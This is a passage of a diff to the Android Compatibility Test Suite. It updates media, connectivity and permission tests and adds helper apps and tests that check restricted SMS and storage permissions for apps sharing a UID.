if (mediaCodecList == null) {
- mediaCodecList = new MediaCodecList(MediaCodecList.ALL_CODECS);
+ mediaCodecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
}
decoder = MediaCodec.createByCodecName(
mediaCodecList.findDecoderForFormat(mediaFormat));
diff --git a/tests/tests/media/src/android/media/cts/NativeDecoderTest.java b/tests/tests/media/src/android/media/cts/NativeDecoderTest.java
index 18346ea0128..ff605e24d3c 100644
--- a/tests/tests/media/src/android/media/cts/NativeDecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/NativeDecoderTest.java
@@ -530,8 +530,9 @@ public class NativeDecoderTest extends MediaPlayerTestBase {
int stride = format.getInteger(MediaFormat.KEY_STRIDE, width);
int height = format.getInteger(MediaFormat.KEY_HEIGHT, 1);
byte[] bb = new byte[width * height];
+ int offset = buf.position();
for (int i = 0; i < height; i++) {
- buf.position(i * stride);
+ buf.position(i * stride + offset);
buf.get(bb, i * width, width);
}
// bb is filled with data
diff --git a/tests/tests/mediastress/Android.mk b/tests/tests/mediastress/Android.mk
index e41ebc60b5e..a972fcecb1d 100644
--- a/tests/tests/mediastress/Android.mk
+++ b/tests/tests/mediastress/Android.mk
@@ -21,7 +21,7 @@ LOCAL_MODULE_TAGS := optional
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
# Include both the 32 and 64 bit versions
LOCAL_MULTILIB := both
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index e9deec9f1e2..ca1f77145cd 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -44,6 +44,7 @@ import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageManager;
+import android.content.res.Resources;
import android.net.ConnectivityManager;
import android.net.ConnectivityManager.NetworkCallback;
import android.net.IpSecManager;
@@ -75,9 +76,6 @@ import android.util.Pair;
import androidx.test.InstrumentationRegistry;
-import com.android.internal.R;
-import com.android.internal.telephony.PhoneConstants;
-
import libcore.io.Streams;
import java.io.FileDescriptor;
@@ -129,6 +127,13 @@ public class ConnectivityManagerTest extends AndroidTestCase {
public static final int MIN_SUPPORTED_CELLULAR_KEEPALIVE_COUNT = 1;
public static final int MIN_SUPPORTED_WIFI_KEEPALIVE_COUNT = 3;
+ private static final String NETWORK_METERED_MULTIPATH_PREFERENCE_RES_NAME =
+ "config_networkMeteredMultipathPreference";
+ private static final String KEEPALIVE_ALLOWED_UNPRIVILEGED_RES_NAME =
+ "config_allowedUnprivilegedKeepalivePerUid";
+ private static final String KEEPALIVE_RESERVED_PER_SLOT_RES_NAME =
+ "config_reservedPrivilegedKeepaliveSlots";
+
private Context mContext;
private Instrumentation mInstrumentation;
private ConnectivityManager mCm;
@@ -376,9 +381,6 @@ public class ConnectivityManagerTest extends AndroidTestCase {
final String invalidateFeature = "invalidateFeature";
final String mmsFeature = "enableMMS";
- final int failureCode = -1;
- final int wifiOnlyStartFailureCode = PhoneConstants.APN_REQUEST_FAILED;
- final int wifiOnlyStopFailureCode = -1;
assertStartUsingNetworkFeatureUnsupported(TYPE_MOBILE, invalidateFeature);
assertStopUsingNetworkFeatureUnsupported(TYPE_MOBILE, invalidateFeature);
@@ -672,7 +674,7 @@ public class ConnectivityManagerTest extends AndroidTestCase {
final String rawMeteredPref = Settings.Global.getString(resolver,
NETWORK_METERED_MULTIPATH_PREFERENCE);
return TextUtils.isEmpty(rawMeteredPref)
- ? mContext.getResources().getInteger(R.integer.config_networkMeteredMultipathPreference)
+ ? getIntResourceForName(NETWORK_METERED_MULTIPATH_PREFERENCE_RES_NAME)
: Integer.parseInt(rawMeteredPref);
}
@@ -1216,6 +1218,12 @@ public class ConnectivityManagerTest extends AndroidTestCase {
dropShellPermissionIdentity();
}
+ private int getIntResourceForName(@NonNull String resName) {
+ final Resources r = mContext.getResources();
+ final int resId = r.getIdentifier(resName, "integer", "android");
+ return r.getInteger(resId);
+ }
+
/**
* Verifies that the keepalive slots are limited as customized for unprivileged requests.
*/
@@ -1233,10 +1241,12 @@ public class ConnectivityManagerTest extends AndroidTestCase {
return;
}
- final int allowedUnprivilegedPerUid = mContext.getResources().getInteger(
- R.integer.config_allowedUnprivilegedKeepalivePerUid);
- final int reservedPrivilegedSlots = mContext.getResources().getInteger(
- R.integer.config_reservedPrivilegedKeepaliveSlots);
+ // Resource ID might be shifted on devices that compiled with different symbols.
+ // Thus, resolve ID at runtime is needed.
+ final int allowedUnprivilegedPerUid =
+ getIntResourceForName(KEEPALIVE_ALLOWED_UNPRIVILEGED_RES_NAME);
+ final int reservedPrivilegedSlots =
+ getIntResourceForName(KEEPALIVE_RESERVED_PER_SLOT_RES_NAME);
// Verifies that unprivileged request per uid cannot exceed the limit customized in the
// resource. Currently, unprivileged keepalive slots are limited to Nat-T only, this test
// does not apply to TCP.
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index 232cd1f50bc..e9b639f5749 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -34,10 +34,12 @@ import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
import static java.util.concurrent.TimeUnit.MILLISECONDS;
+import android.app.ActivityManager;
import android.app.UiAutomation;
import android.content.ComponentName;
import android.content.ContentResolver;
@@ -108,6 +110,8 @@ public class LocationAccessCheckTest {
private static final long BACKGROUND_ACCESS_SETTLE_TIME = 11000;
private static final Context sContext = InstrumentationRegistry.getTargetContext();
+ private static final ActivityManager sActivityManager =
+ (ActivityManager) sContext.getSystemService(Context.ACTIVITY_SERVICE);
private static final UiAutomation sUiAutomation = InstrumentationRegistry.getInstrumentation()
.getUiAutomation();
@@ -361,6 +365,14 @@ public class LocationAccessCheckTest {
}
/**
+ * Skip each test for low ram device
+ */
+ @Before
+ public void assumeIsNotLowRamDevice() {
+ assumeFalse(sActivityManager.isLowRamDevice());
+ }
+
+ /**
* Reset the permission controllers state before each test
*/
@Before
diff --git a/tests/tests/permission/src/android/permission/cts/SharedUidPermissionsTest.java b/tests/tests/permission/src/android/permission/cts/SharedUidPermissionsTest.java
index 2f8d9e658fc..0d7d2517aab 100644
--- a/tests/tests/permission/src/android/permission/cts/SharedUidPermissionsTest.java
+++ b/tests/tests/permission/src/android/permission/cts/SharedUidPermissionsTest.java
@@ -98,23 +98,27 @@ public class SharedUidPermissionsTest {
assertThat(isPermissionGranted(PKG_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS)).isFalse();
}
- @Test(expected = SecurityException.class)
- public void runtimePermissionsCannotBeRevokedOnPackageThatDoesNotDeclarePermission()
+ @Test
+ public void runtimePermissionsCanBeRevokedOnPackageThatDoesNotDeclarePermission()
throws Exception {
install(APK_THAT_REQUESTS_PERMISSIONS);
install(APK_THAT_REQUESTS_NO_PERMISSIONS);
grantPermission(PKG_THAT_REQUESTS_PERMISSIONS, READ_CONTACTS);
+ revokePermission(PKG_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS);
- revokePermission(APK_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS);
+ assertThat(isPermissionGranted(PKG_THAT_REQUESTS_PERMISSIONS, READ_CONTACTS)).isFalse();
+ assertThat(isPermissionGranted(PKG_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS)).isFalse();
}
- @Test(expected = SecurityException.class)
- public void runtimePermissionsCannotBeGrantedOnPackageThatDoesNotDeclarePermission()
+ @Test
+ public void runtimePermissionsCanBeGrantedOnPackageThatDoesNotDeclarePermission()
throws Exception {
install(APK_THAT_REQUESTS_PERMISSIONS);
install(APK_THAT_REQUESTS_NO_PERMISSIONS);
+ grantPermission(PKG_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS);
- grantPermission(APK_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS);
+ assertThat(isPermissionGranted(PKG_THAT_REQUESTS_PERMISSIONS, READ_CONTACTS)).isTrue();
+ assertThat(isPermissionGranted(PKG_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS)).isTrue();
}
@Test
diff --git a/tests/tests/permission2/AndroidTest.xml b/tests/tests/permission2/AndroidTest.xml
index 9e78d64d10a..bcab1535a0c 100644
--- a/tests/tests/permission2/AndroidTest.xml
+++ b/tests/tests/permission2/AndroidTest.xml
@@ -39,6 +39,12 @@
<option name="push" value="CtsStoragePermissionsUserOptInSdk22.apk->/data/local/tmp/cts/permissions2/CtsStoragePermissionsUserOptInSdk22.apk" />
<option name="push" value="CtsStoragePermissionsUserOptInSdk28.apk->/data/local/tmp/cts/permissions2/CtsStoragePermissionsUserOptInSdk28.apk" />
<option name="push" value="CtsStoragePermissionsUserOptOutSdk29.apk->/data/local/tmp/cts/permissions2/CtsStoragePermissionsUserOptOutSdk29.apk" />
+ <option name="push" value="CtsLegacyStorageNotIsolatedWithSharedUid.apk->/data/local/tmp/cts/permissions2/CtsLegacyStorageNotIsolatedWithSharedUid.apk" />
+ <option name="push" value="CtsLegacyStorageIsolatedWithSharedUid.apk->/data/local/tmp/cts/permissions2/CtsLegacyStorageIsolatedWithSharedUid.apk" />
+ <option name="push" value="CtsLegacyStorageRestrictedWithSharedUid.apk->/data/local/tmp/cts/permissions2/CtsLegacyStorageRestrictedWithSharedUid.apk" />
+ <option name="push" value="CtsLegacyStorageRestrictedSdk28WithSharedUid.apk->/data/local/tmp/cts/permissions2/CtsLegacyStorageRestrictedSdk28WithSharedUid.apk" />
+ <option name="push" value="CtsSMSRestrictedWithSharedUid.apk->/data/local/tmp/cts/permissions2/CtsSMSRestrictedWithSharedUid.apk" />
+ <option name="push" value="CtsSMSNotRestrictedWithSharedUid.apk->/data/local/tmp/cts/permissions2/CtsSMSNotRestrictedWithSharedUid.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
new file mode 100644
index 00000000000..6ee6120595e
--- /dev/null
+++ b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
@@ -0,0 +1,29 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsLegacyStorageIsolatedWithSharedUid",
+ defaults: ["cts_defaults"],
+
+ sdk_version: "current",
+
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "cts_instant",
+ ]
+} \ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/AndroidManifest.xml b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/AndroidManifest.xml
new file mode 100644
index 00000000000..9054889ede4
--- /dev/null
+++ b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission2.cts.legacystoragewithshareduid.isolated"
+ android:versionCode="1"
+ android:sharedUserId="android.permission2.cts.restrictedpermissionuser.shareduid">
+
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+ <application android:label="CtsLegacyStorageIsolatedWithSharedUid" />
+</manifest>
diff --git a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
new file mode 100644
index 00000000000..63c2a1470ad
--- /dev/null
+++ b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
@@ -0,0 +1,29 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsLegacyStorageNotIsolatedWithSharedUid",
+ defaults: ["cts_defaults"],
+
+ sdk_version: "current",
+
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "cts_instant",
+ ]
+} \ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/AndroidManifest.xml b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/AndroidManifest.xml
new file mode 100644
index 00000000000..179f19a4507
--- /dev/null
+++ b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission2.cts.legacystoragewithshareduid.notisolated"
+ android:versionCode="1"
+ android:sharedUserId="android.permission2.cts.restrictedpermissionuser.shareduid">
+
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+ <application android:label="CtsLegacyStorageNotIsolatedWithSharedUid"
+ android:requestLegacyExternalStorage="true" />
+</manifest>
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
new file mode 100644
index 00000000000..50ac715f38e
--- /dev/null
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
@@ -0,0 +1,29 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsLegacyStorageRestrictedSdk28WithSharedUid",
+ defaults: ["cts_defaults"],
+
+ sdk_version: "current",
+
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "cts_instant",
+ ]
+} \ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/AndroidManifest.xml b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/AndroidManifest.xml
new file mode 100644
index 00000000000..89cadcdbefa
--- /dev/null
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission2.cts.legacystoragewithshareduid.restrictedsdk28"
+ android:versionCode="1"
+ android:sharedUserId="android.permission2.cts.restrictedpermissionuser.shareduid">
+
+ <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28" />
+
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+ <application android:label="CtsLegacyStorageRestrictedSdk28WithSharedUid" />
+</manifest>
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
new file mode 100644
index 00000000000..78068f95d38
--- /dev/null
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
@@ -0,0 +1,29 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsLegacyStorageRestrictedWithSharedUid",
+ defaults: ["cts_defaults"],
+
+ sdk_version: "current",
+
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "cts_instant",
+ ]
+} \ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/AndroidManifest.xml b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/AndroidManifest.xml
new file mode 100644
index 00000000000..5791147151a
--- /dev/null
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission2.cts.legacystoragewithshareduid.restricted"
+ android:versionCode="1"
+ android:sharedUserId="android.permission2.cts.restrictedpermissionuser.shareduid">
+
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+ <application android:label="CtsLegacyStorageRestrictedWithSharedUid" />
+</manifest>
diff --git a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
new file mode 100644
index 00000000000..9806571b2c7
--- /dev/null
+++ b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
@@ -0,0 +1,29 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsSMSNotRestrictedWithSharedUid",
+ defaults: ["cts_defaults"],
+
+ sdk_version: "current",
+
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "cts_instant",
+ ]
+} \ No newline at end of file
diff --git a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/AndroidManifest.xml b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/AndroidManifest.xml
new file mode 100644
index 00000000000..83c43a2a403
--- /dev/null
+++ b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission2.cts.smswithshareduid.notrestricted"
+ android:versionCode="1"
+ android:sharedUserId="android.permission2.cts.restrictedpermissionuser.shareduid">
+
+ <uses-permission android:name="android.permission.READ_SMS" />
+
+ <application android:label="CtsSMSNotRestrictedWithSharedUid" />
+</manifest>
diff --git a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
new file mode 100644
index 00000000000..ec6d1285b97
--- /dev/null
+++ b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
@@ -0,0 +1,29 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsSMSRestrictedWithSharedUid",
+ defaults: ["cts_defaults"],
+
+ sdk_version: "current",
+
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "cts_instant",
+ ]
+} \ No newline at end of file
diff --git a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/AndroidManifest.xml b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/AndroidManifest.xml
new file mode 100644
index 00000000000..a497392e2f1
--- /dev/null
+++ b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission2.cts.smswithshareduid.restricted"
+ android:versionCode="1"
+ android:sharedUserId="android.permission2.cts.restrictedpermissionuser.shareduid">
+
+ <uses-permission android:name="android.permission.READ_SMS" />
+
+ <application android:label="CtsSMSRestrictedWithSharedUid" />
+</manifest>
diff --git a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
index 996630ac12f..7dca607ed4a 100644
--- a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
@@ -16,6 +16,7 @@
package android.permission2.cts;
+import static android.Manifest.permission.READ_SMS;
import static android.permission.cts.PermissionUtils.eventually;
import static android.permission.cts.PermissionUtils.isGranted;
import static android.permission.cts.PermissionUtils.isPermissionGranted;
@@ -104,6 +105,18 @@ public class RestrictedPermissionsTest {
private static final String PKG = "android.permission2.cts.restrictedpermissionuser";
+ private static final String APK_USES_SMS_RESTRICTED_SHARED_UID =
+ "/data/local/tmp/cts/permissions2/CtsSMSRestrictedWithSharedUid.apk";
+
+ private static final String PKG_USES_SMS_RESTRICTED_SHARED_UID =
+ "android.permission2.cts.smswithshareduid.restricted";
+
+ private static final String APK_USES_SMS_NOT_RESTRICTED_SHARED_UID =
+ "/data/local/tmp/cts/permissions2/CtsSMSNotRestrictedWithSharedUid.apk";
+
+ private static final String PKG_USES_SMS_NOT_RESTRICTED_SHARED_UID =
+ "android.permission2.cts.smswithshareduid.notrestricted";
+
private static final long UI_TIMEOUT = 5000L;
private static @NonNull BroadcastReceiver sCommandReceiver;
@@ -681,6 +694,19 @@ public class RestrictedPermissionsTest {
assertNoRestrictedPermissionWhitelisted();
}
+ @Test
+ @AppModeFull
+ public void shareUidBetweenRestrictedAndNotRestrictedApp() throws Exception {
+ runShellCommand(
+ "pm install -g --restrict-permissions " + APK_USES_SMS_RESTRICTED_SHARED_UID);
+ runShellCommand("pm install -g " + APK_USES_SMS_NOT_RESTRICTED_SHARED_UID);
+
+ eventually(
+ () -> assertThat(isGranted(PKG_USES_SMS_RESTRICTED_SHARED_UID, READ_SMS)).isTrue());
+ // The apps share a UID, hence the whitelisting is shared too
+ assertThat(isGranted(PKG_USES_SMS_NOT_RESTRICTED_SHARED_UID, READ_SMS)).isTrue();
+ }
+
private static void installRestrictedPermissionUserApp(@NonNull SessionParams params)
throws Exception {
final CountDownLatch installLatch = new CountDownLatch(1);
@@ -1113,6 +1139,8 @@ public class RestrictedPermissionsTest {
@After
public void uninstallApp() {
runShellCommand("pm uninstall " + PKG);
+ runShellCommand("pm uninstall " + PKG_USES_SMS_NOT_RESTRICTED_SHARED_UID);
+ runShellCommand("pm uninstall " + PKG_USES_SMS_RESTRICTED_SHARED_UID);
}
private static @NonNull Context getContext() {
diff --git a/tests/tests/permission2/src/android/permission2/cts/RestrictedStoragePermissionSharedUidTest.java b/tests/tests/permission2/src/android/permission2/cts/RestrictedStoragePermissionSharedUidTest.java
new file mode 100644
index 00000000000..1d0ded2ccd3
--- /dev/null
+++ b/tests/tests/permission2/src/android/permission2/cts/RestrictedStoragePermissionSharedUidTest.java
@@ -0,0 +1,265 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission2.cts;
+
+import static android.Manifest.permission.READ_EXTERNAL_STORAGE;
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.OPSTR_LEGACY_STORAGE;
+import static android.permission.cts.PermissionUtils.eventually;
+import static android.permission.cts.PermissionUtils.isGranted;
+import static android.permission2.cts.RestrictedStoragePermissionSharedUidTest.StorageState.DENIED;
+import static android.permission2.cts.RestrictedStoragePermissionSharedUidTest.StorageState.ISOLATED;
+import static android.permission2.cts.RestrictedStoragePermissionSharedUidTest.StorageState.NON_ISOLATED;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static java.lang.Integer.min;
+
+import android.app.AppOpsManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
